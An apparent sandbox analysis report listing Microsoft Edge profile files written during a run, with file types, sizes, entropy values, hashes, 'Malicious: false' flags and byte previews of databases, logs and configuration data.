MD5:	284FFB6CFC73F96EF0C5538F2853A678
SHA1:	2D6E5F6359580BFE8E1BC342B000623D4326C096
SHA-256:	CA86533DAF189A46E6CE98F3026E7381B5EF9B4F8F86B281410F0E62D85A6A66
SHA-512:	1BA6DD7377158DB327E5BCDBE31C2342139C869239BBDD0935696D6170B5FCCF9663EB93DA1AF426F9E991587216204F5F7DC4D7794243120193D7E5E2A63C99
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Reputation:	unknown
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.147793001335815
Encrypted:	false
SSDEEP:	6:HbUkI+q2PN723oH+TcwtnG2tMsIFUt8+Ht+WZmw++2VkwON723oH+TcwtnG2tMsd:HbUn+vVaYebn9GFUt8+n/++2V5OaYebB
MD5:	BD9BDB873AF20A36F8F079676BE8ECA8
SHA1:	1EDB63A0C464D603403218B4ECD93A45FA6F40DC
SHA-256:	76F18C7516CA8BD869E1E21C2CB76E097DB1F93B48FB702C19AF82415A227DC8
SHA-512:	F311DF552392D42A6C1BC9AFD15EFD4BD9BD581F68AB94336F92287A250C657C47C70620C713A094D88FD16A265B67E27A9931E0422F378F506D69169AA555F3
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.131 230c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/01/18-00:34:37.217 230c Recovering log #3.2024/01/18-00:34:37.232 230c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.147793001335815
Encrypted:	false
SSDEEP:	6:HbUkI+q2PN723oH+TcwtnG2tMsIFUt8+Ht+WZmw++2VkwON723oH+TcwtnG2tMsd:HbUn+vVaYebn9GFUt8+n/++2V5OaYebB
MD5:	BD9BDB873AF20A36F8F079676BE8ECA8
SHA1:	1EDB63A0C464D603403218B4ECD93A45FA6F40DC
SHA-256:	76F18C7516CA8BD869E1E21C2CB76E097DB1F93B48FB702C19AF82415A227DC8
SHA-512:	F311DF552392D42A6C1BC9AFD15EFD4BD9BD581F68AB94336F92287A250C657C47C70620C713A094D88FD16A265B67E27A9931E0422F378F506D69169AA555F3
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.131 230c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/01/18-00:34:37.217 230c Recovering log #3.2024/01/18-00:34:37.232 230c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6128753041928359
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j6ZQpdAmL:TO8D4jJ/6Up+eZW1
MD5:	84E0DD965597C5925825B6A15F7D7D86
SHA1:	BFD995D52CE0CF762A5D55845892C2BEB94D30C3
SHA-256:	7EF6EEDE2B508F0DE2EB804E5C137A86ECF7E1180360DE2E311FF91A64C854FE
SHA-512:	39CA220EEA214010C83E8EFA15ED52FBD37C29DE739B8796A7DC768B575BB7D744F2E628A062BD5F5002E18D2E5B2DC71EB25B6F49F68F3579DDA5707D785EEC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	392647
Entropy (8bit):	5.409463070798474
Encrypted:	false
SSDEEP:	6144:Tz/imSpx6WLPS+KWFHu5MURafq49QxxEnyEndBuHltBfdK5WNbsVEtiPqCfXtLPb:Tc6Mxq49mEndBuHltBfdK5WNbsVEtiPX
MD5:	D022E85B8E6B05728B31896E6BDEC463
SHA1:	6E106F0E0E714535451A4DACFD774AD3F0C83B62
SHA-256:	59FC7623B47B72857F0735E4E30661C808CA1E9103315EBAB1C4A6A8B668E1B5
SHA-512:	7BEBFD03812784C7C292086A6C546398017086E009BF40F0B2BBF4838C21DFFB104F7E0F688FE183A31A92E208EB110AF7F6CB62077941DAEE2C2160065A594B
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1...^................&QUERY_TIMESTAMP:domains_config_gz2...13350008098659711..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.75/asset?sv=2017-07-29&sr=c&sig=ODCnll3A%2Fpr7IBDaNsDR2zA%2FOssZl6xdmLkM6vzzbZ0%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-03-31T00%3A00%3A00Z&sp=r&assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":75},"hash":"EwG2gkfquexLj6u3yjHyiL4YQwdU318k1Hub+1rSDMI=","size":391864}].....}...............ASSET_VERSION:domains_config_gz.2.8.75..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.170196452983286
Encrypted:	false
SSDEEP:	6:Hfk+RM1N723oH+Tcwtk2WwnvB2KLltYo1Iq2PN723oH+Tcwtk2WwnvIFUv:HfkusaYebkxwnvFLvfIvVaYebkxwnQF2
MD5:	23D6615D6C3BBE07C02B75D9BA948763
SHA1:	B59C0E7D3F5FCCE93C2BC0D64660A0ECFC0FD4D8
SHA-256:	CD4F90533CD0823F4A63D3C9707FFC246A41DF7EF17991992EAFC5A3E225A0C7
SHA-512:	F18A2B03295DF7A0FA857A7E27581296635BBE56474A877BC83D11350C17663AA321690FA309EE48E11CA281E0B5FA93432A751B2609961A813733F9E3C03A81
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:57.483 2774 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/01/18-00:34:58.061 2774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	374811
Entropy (8bit):	5.396159774880193
Encrypted:	false
SSDEEP:	6144:dWLgimLVvUrsc6rRA81b/18jyJNjfvrfM6RT:cLBgAg1zfvr
MD5:	3AB5DF89D4E6FA146E809F71EFFCB595
SHA1:	C8D0BC15AD8A330A1B3A199E513A3357EA7E3B12
SHA-256:	BBA32DC4A1E116626749BB0089F03287290EEB57458E9388733B90CC8641F4BC
SHA-512:	F4282B52A73E7CF0A8F7E982FEB40985047A41EFE961D1E832EBD4DE510683AD1E9373F6F2A0969569829CAE0BF3906D4CA5F4E23EC1E758B2BFBF0BACCC74F3
Malicious:	false
Reputation:	unknown
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.113379034920698
Encrypted:	false
SSDEEP:	6:HbSZpM+q2PN723oH+Tcwt8aPrqIFUt8+gKZmw++hVMVkwON723oH+Tcwt8amLJ:HbgpM+vVaYebL3FUt8+gK/++hVMV5OaE
MD5:	F847153081C55D0694F4C27031703A34
SHA1:	C6077BBFD4C8A9C6ECD7D8B6210B6094B3B71599
SHA-256:	A67E54F4206B7C367E813CC2931A06ED0A75C027F567B6CD13DD34FA08254C74
SHA-512:	5CE529ACF9F3305AF4CEB667010DF0C3E163850739D63D7420A4E0EB292F27A33A7C5F08F028FD9F096043AB519CF684F1A91E7FE90A7E8C716FC84F56DFC6F9
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.137 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/01/18-00:34:37.210 22fc Recovering log #3.2024/01/18-00:34:37.222 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.113379034920698
Encrypted:	false
SSDEEP:	6:HbSZpM+q2PN723oH+Tcwt8aPrqIFUt8+gKZmw++hVMVkwON723oH+Tcwt8amLJ:HbgpM+vVaYebL3FUt8+gK/++hVMV5OaE
MD5:	F847153081C55D0694F4C27031703A34
SHA1:	C6077BBFD4C8A9C6ECD7D8B6210B6094B3B71599
SHA-256:	A67E54F4206B7C367E813CC2931A06ED0A75C027F567B6CD13DD34FA08254C74
SHA-512:	5CE529ACF9F3305AF4CEB667010DF0C3E163850739D63D7420A4E0EB292F27A33A7C5F08F028FD9F096043AB519CF684F1A91E7FE90A7E8C716FC84F56DFC6F9
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.137 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/01/18-00:34:37.210 22fc Recovering log #3.2024/01/18-00:34:37.222 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.130189595215054
Encrypted:	false
SSDEEP:	6:H31aqM+q2PN723oH+Tcwt865IFUt8+lF6XZmw++Q1MVkwON723oH+Tcwt86+ULJ:H31aqM+vVaYeb/WFUt8+lF6X/++oMV5/
MD5:	A6887DB11680FB22E6308FBE9FCE802F
SHA1:	C5E5A28B8E2C97BA14081E42B9345500FA6E0E86
SHA-256:	9EBEC506926265A441DE7F09CA6114A2EF5DA0B307AA5D95239F5A1AF0B809D1
SHA-512:	1071BF3EC9CC6B692FD0300DAF54B8073B099E3941D6B612454B738FF12165ABE5D46E64B115E302B96D1CBCBA77E075D94E666BE42B52A8686EA8A9229AA31A
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.392 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/01/18-00:34:37.400 22fc Recovering log #3.2024/01/18-00:34:37.401 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.130189595215054
Encrypted:	false
SSDEEP:	6:H31aqM+q2PN723oH+Tcwt865IFUt8+lF6XZmw++Q1MVkwON723oH+Tcwt86+ULJ:H31aqM+vVaYeb/WFUt8+lF6X/++oMV5/
MD5:	A6887DB11680FB22E6308FBE9FCE802F
SHA1:	C5E5A28B8E2C97BA14081E42B9345500FA6E0E86
SHA-256:	9EBEC506926265A441DE7F09CA6114A2EF5DA0B307AA5D95239F5A1AF0B809D1
SHA-512:	1071BF3EC9CC6B692FD0300DAF54B8073B099E3941D6B612454B738FF12165ABE5D46E64B115E302B96D1CBCBA77E075D94E666BE42B52A8686EA8A9229AA31A
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.392 22fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/01/18-00:34:37.400 22fc Recovering log #3.2024/01/18-00:34:37.401 22fc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Reputation:	unknown
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.173388792299718
Encrypted:	false
SSDEEP:	6:HEXXR+q2PN723oH+Tcwt8NIFUt8+EXXNZmw++hVkwON723oH+Tcwt8+eLJ:HocvVaYebpFUt8+oN/++v5OaYebqJ
MD5:	0CC9BD1A99C18892A12975D0B9A3035D
SHA1:	97C4C91C919FE8EBBF7A59873C68609171E39B46
SHA-256:	6A3C128B8CACBC880A361E8DBE1CBB8FC4CA1B811D3E6EE1A7DC46F9900737F8
SHA-512:	2788B508D76A1D5D341C8DB033DE3544952A88F20369A5A026EE04465DB3AC9B532F07FBC41A01BD24536429D707652F880977217C5CAD666008366491804454
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.796 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/01/18-00:34:38.796 22f8 Recovering log #3.2024/01/18-00:34:38.797 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.173388792299718
Encrypted:	false
SSDEEP:	6:HEXXR+q2PN723oH+Tcwt8NIFUt8+EXXNZmw++hVkwON723oH+Tcwt8+eLJ:HocvVaYebpFUt8+oN/++v5OaYebqJ
MD5:	0CC9BD1A99C18892A12975D0B9A3035D
SHA1:	97C4C91C919FE8EBBF7A59873C68609171E39B46
SHA-256:	6A3C128B8CACBC880A361E8DBE1CBB8FC4CA1B811D3E6EE1A7DC46F9900737F8
SHA-512:	2788B508D76A1D5D341C8DB033DE3544952A88F20369A5A026EE04465DB3AC9B532F07FBC41A01BD24536429D707652F880977217C5CAD666008366491804454
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:38.796 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/01/18-00:34:38.796 22f8 Recovering log #3.2024/01/18-00:34:38.797 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_1\_metadata\computed_hashes.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809747912785553
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0aykI7Nm4vioKFbYiweVHUSENjrAWT0uWIyAmiVcIS9vqiweVHlr/:Y8U5j0panIBmiiq7tNj0pt8cIUcdQ
MD5:	C48BC98847A1126D294B3F163D6C6FA7
SHA1:	A6B1582A789FA6BD9284DBB0DFCE5273538595F6
SHA-256:	33D906D8218FC387B743C787F4C8E105A46EB7A710D0D4FFC986B2A2A3B2C410
SHA-512:	351BDCAFC99712BD4FD77037EE31155067A6784AE145EF5AB9EC0E0CC7AE70C3777D03719E0DFF1A2AC0B2DE26FC43F9BFA20EF1A1691FB6526AE53A258BADF2
Malicious:	false
Reputation:	unknown
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","U6xN0M1gK4De+dC3MDF1FCcunY+wsWQetm3T9Jpm5Ok=","FDzuJGfyhdS4sc7hqlsg8j1JPKb129yMDWulF0Hequ0="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","9lSvuLszpAzBYcT4yhsBxUumDceknO8taDs/0xaHU8A=","c6lVJE29m5/3fZJhBN9bOVj0MRIlAOQg9/UMckNE2qs="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.5028237391988772
Encrypted:	false
SSDEEP:	48:0Bmw6fU1zBTg5gKPLL9ejvutP0S2ZGOEJM/H5J:0BCyTgOj2GBgOHz
MD5:	275E132AEF89B1D4258D8C73B8B2DDBC
SHA1:	DDF9BDC0F8D746498EA3FB30C2A35E5196B93AB4
SHA-256:	691E5B54F464CE11D9B6B8577C77DDFC9C22A66733E41C7D16E8A44448F65625
SHA-512:	D54743B49BFE7D5017539EFE6AC3D5831CFC6A98ACC6486253FC32C3CB949E3E771A8F3FA66B063DCED186FA8FFB32689F59C884DFFB8512802F67FB36BBE434
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavi